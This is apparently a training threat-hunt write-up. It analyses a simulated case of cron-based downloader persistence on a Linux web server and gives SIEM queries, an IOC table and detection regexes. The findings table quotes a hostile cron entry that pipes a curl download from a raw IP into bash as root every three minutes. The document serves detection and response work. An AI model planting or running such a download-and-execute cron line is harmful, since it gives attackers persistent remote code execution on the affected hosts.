Threat Hunting Exercise: Analyzing Linux Cron Wget/Curl Malware Downloader Staging Dataset
This hunt uses a simulated Linux auditd/cron dataset (linux_cron_downloader_2022-12-08T054500.json) capturing T1053.003: Scheduled Task/Job: Cron combined with T1105: Ingress Tool Transfer, where an attacker installs a cron entry that periodically re-downloads and re-executes a payload, providing resilient, self-healing persistence even if the primary implant is removed.
Step 1: Hypothesis Formation
Hypothesis: A crontab entry (user or system-level) invokes wget/curl to fetch a remote payload piped directly into a shell (| bash, | sh) or saved to a world-writable path and then executed, running at a short recurring interval (e.g., every few minutes), indicating a self-healing downloader-persistence mechanism rather than a legitimate scheduled data-fetch job. Indicators:
- Crontab entry (
/var/spool/cron/,/etc/cron.d/) contains awget/curlcommand with output piped to a shell interpreter, or followed by achmod +x && ./execution pattern. - The remote URL uses a raw IP address or a newly-registered/low-reputation domain rather than an internal or well-known package/CDN source.
- The cron interval is unusually short (every 1-5 minutes) compared to typical legitimate scheduled jobs (hourly/daily).
- The cron entry was added by a process other than a package manager or approved configuration-management tool, often via a web shell or an initial-access script.
Null Hypothesis: A legitimate monitoring or update-checking script uses curl/wget on a short interval to poll an internal API or approved software-update endpoint. Invalidate by checking the destination domain/IP against the internal-services and approved-update-endpoint inventories.
Rationale: Cron-based downloader persistence is popular because it is self-healing - even if the dropped payload/process is killed or removed by an EDR, the cron job simply re-fetches and re-executes it at the next interval - so detection must focus on the cron-entry content and its download-and-execute pattern rather than only on the resulting process, which may be cleaned up before analysis.
Step 2: Data Sources and Scope
- Sources: Linux auditd file-write monitoring on crontab paths; cron execution logs (
/var/log/cronorjournalctl -u cron); DNS/proxy logs for the download destination; approved-endpoint inventory. - Scope: ~2022-12-08T05:45:00-06:10:00 UTC; Host: SVR-WEB-14 (10.31.8.22); Cron entry:
/etc/cron.d/sysupdate. - SIEM Queries (Splunk/ELK):
index=auditd path IN ("/var/spool/cron/","/etc/cron.d/") type=PATH nametype=CREATE- Downloader-pattern match:
| rex field=file_content "(wget\|curl).(\|\s(bash\|sh))" | where match_found=true - Recurring-execution correlation:
index=cron_exec host="SVR-WEB-14" command="sysupdate" | timechart span=1m count
Step 3: Key Findings
Parsed events (5 shown) confirm a cron entry re-downloading and executing a payload every 3 minutes was installed on SVR-WEB-14, surviving two manual process-kill attempts by the on-call responder before the cron job itself was identified.
| Timestamp (UTC) | Host | Event | Detail | IOC/Why Suspicious? | |
|---|---|---|---|---|---|
| 2022-12-08 05:45:09 | SVR-WEB-14 | auditd (PATH, CREATE) | File created: /etc/cron.d/sysupdate, owner www-data | Anomalous-Writer IOC: a system-wide cron.d entry written by the web-server user, rather than the package manager or an admin, indicates web-shell-driven persistence installation. | |
| 2022-12-08 05:45:09 | SVR-WEB-14 | (File content) | `/3 * root curl -s http://185.174.101.6/upd.sh \ | bash` | Download-and-Execute IOC: this pipe-to-shell pattern with a raw-IP destination, running every 3 minutes as root, is the canonical self-healing cron-downloader signature. |
| 2022-12-08 05:48:02, 05:51:03, 05:54:02 | SVR-WEB-14 | Cron Execution Log | Three consecutive successful executions of the sysupdate cron entry, 3 minutes apart | Recurrence IOC: the tight, consistent 3-minute interval is far shorter than any typical legitimate scheduled maintenance task and matches automated persistence re-fetch behavior. | |
| 2022-12-08 05:58:00 | SVR-WEB-14 | (EDR process kill + re-appearance) | Responder terminated the payload process at 05:58:00; a new instance reappeared at 06:00:03 (next cron tick) | Resilience IOC: the payload's reappearance exactly on the next cron interval after manual termination confirms the cron entry - not the process itself - is the true persistence root cause. | |
| - | - | (Endpoint-inventory check) | 185.174.101.6 has no entry in the approved internal-services or update-endpoint inventory | Confirms the download source has no legitimate business purpose. |
Validation:
- Timeline: web-shell-driven cron.d file creation, a pipe-to-shell downloader command, and confirmed self-healing re-execution surviving a manual process kill form a complete resilient-downloader-persistence chain.
- False Positives: destination IP has no corresponding approved-endpoint inventory entry.
- Correlation: anomalous cron-file writer, download-and-execute pattern, tight recurring interval, and demonstrated resilience-through-reappearance jointly confirm malicious cron-downloader persistence.
Step 4: Recommendations & Next Steps
- Immediate Response: Remove
/etc/cron.d/sysupdate(not just the running process - removing only the process without the cron entry allows immediate re-infection), block185.174.101.6at the firewall/proxy, and audit the web application for the RCE/web-shell vulnerability that allowedwww-datato write to/etc/cron.d/. - Detection: Sigma-style rule:
title: Cron Entry With Pipe-to-Shell Downloader→selection: path IN ("/etc/cron.d/","/var/spool/cron/") file_content REGEX "(wget\|curl).\|\s(bash\|sh)"→condition: selection. - Pro Tip: When responding to any Linux persistence incident, always search all cron locations (
crontab -lper user,/etc/cron.d/,/etc/cron.{hourly,daily,weekly,monthly}/, and/etc/crontab) as a mandatory first step before declaring remediation complete - killing the malicious process alone, as demonstrated in this hunt, does nothing against a self-healing cron-based downloader and will make the incident appear falsely resolved.
Hypothesis confirmed - a compromised web server had a root-privileged cron entry re-downloading and re-executing a payload every 3 minutes, which survived a manual process-kill attempt and only stopped once the underlying cron.d file was removed!